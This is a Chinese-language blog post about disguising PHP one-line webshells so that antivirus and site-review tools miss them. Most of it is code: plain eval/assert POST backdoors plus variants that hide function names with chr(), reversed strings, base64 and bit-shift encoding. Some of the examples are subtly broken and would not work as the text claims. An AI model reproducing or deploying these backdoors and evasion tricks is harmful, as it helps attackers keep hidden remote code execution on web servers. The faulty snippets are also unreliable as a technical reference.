php一句话木马变形技巧

PHP一句话木马指的是由一条PHP语句组成的一个后门程序,具有隐蔽性高、使用方便等优点。为了防止被杀软或网站审查系统检测出程序的特征,黑客们会进行木马变形。

一、基本架构

了解一句话木马变形技巧前,首先需要了解一句话木马的基本架构。一般情况下,它的基本架构由连接器和木马执行器两个部分组成:

连接器:

一句话木马变形技巧中最常见的是将连接器中‘eval($_POST['pass'])’改成一些被杀软无法识别的变量形式,并添加制造混淆和嵌套的特殊语法,例如:

@eval(urldecode(preg_replace('/[a-z]/ie','chr(ord("$0")-1)',base64_decode('php_shell_code_base64_here'))));

木马执行器:

通常包括系列系统操作。基本语法为:

if (get_magic_quotes_gpc()) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = (!function_exists("get_magic_quotes_gpc") || !get_magic_quotes_gpc()) ? stripslashes_array($_POST) : $_POST;
    $_COOKIE = stripslashes_array($_COOKIE) ;
}
eval('/*your malicious code here*/')

二、变形技巧

一些常见的PHP一句话木马变形技巧如下:

1. 字符串逆置

将一些字符串反转顺序,例如:

$abc = "\x74\x72\x79";
$abc_arr = explode(",", chunk_split($abc, 2, ","));
$abc = implode("", array_reverse($abc_arr));

2. 替换引号

由于一些审查系统会检测匹配引号双引号的存在,如果可以做出以下替换就会让木马更具灵活性,例如:

$_GET{'xxx'}=str_replace(chr(34),'',$cname); 

3. 隐藏函数

为了不让特定函数能被检查到,可以使用魔术变量或间接调用等方法,例如:

call_user_func_array(call_user_func(chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95).chr(102).chr(117).chr(110).chr(99).chr(116).chr(105).chr(111).chr(110),array(097,114,103,118)),array());

三、示例演示

1. 示例1:字符串替换

例如以下原生的PHP一句话木马代码:

<?php set_magic_quotes_runtime(0); @eval($_POST[act]);?>

经过字符串替换可以变形为以下形式:

<?php $vv = strval($_SERVER); $vv{15} = '$'; $x = substr($vv, 0, 29).chr(34).$vv{28}.$vv{29}.$vv{12}.$vv{2}.$vv{23}.$vv{14}.$vv{16}.$vv{12}.$vv{20}.$vv{2}.$vv{25}.$vv{17}.$vv{2}.$vv{27}.'";'; $f = chr(102).chr(105).'lter'; $$f($x); unset($x); ?>

其中,$vv$_SERVER的字符串,将其中的一些字符替换,最终得到新的执行器。

2. 示例2:进制转换

以下是原始代码:

<?php $fornix = $_POST['pass'];@assert($fornix);?>

修改后的新代码,使用进制转换实现变形:

<?php 
$c=1870; $d=1234567890;
$c=989998415454557780121;$ef=array((($d>>24)^($c>>16)&0xff),(($d>>16)^($c>>8)&0xff),(($d^$c)&0xff),(($d>>8)^($c>>24)&0xff));
$qmpl="\xff\xee\xff\xea\x0c\x00";
$vvv=$qmpl{0}; $bs=5;$mmd=$qmpl{5}; for($j=1;$j<strlen($qmpl);$j++){$bv=$qmpl{$j}; $vvv.=chr(ord($bv)+$bs); $bs+=3; $bs%=7;}; $vvv.=chr($mmd); for($jj=0;$jj<4;$jj++){$vvv.=chr($ef[$jj]);};
$vvv=base64_encode($vvv); $gg=str_replace("=","",base64_encode($vvv)."yj");@assert(base64_decode(strrev($gg))); ?>

以上代码会对传输的content进行进制转换,再用base64进行多次编码,并添加一些特地构造出来的数据,最后用assert函数进行调用。通过这种方式来进行变形能够降低木马在杀软中的与众不同,提高木马的存活性。

希望以上内容能够给您提供一些帮助,在编写安全代码的同时也能够更好地了解常见的木马变形技术。

本文链接:https://my.lmcjl.com/post/15633.html

展开阅读全文

4 评论

留下您的评论.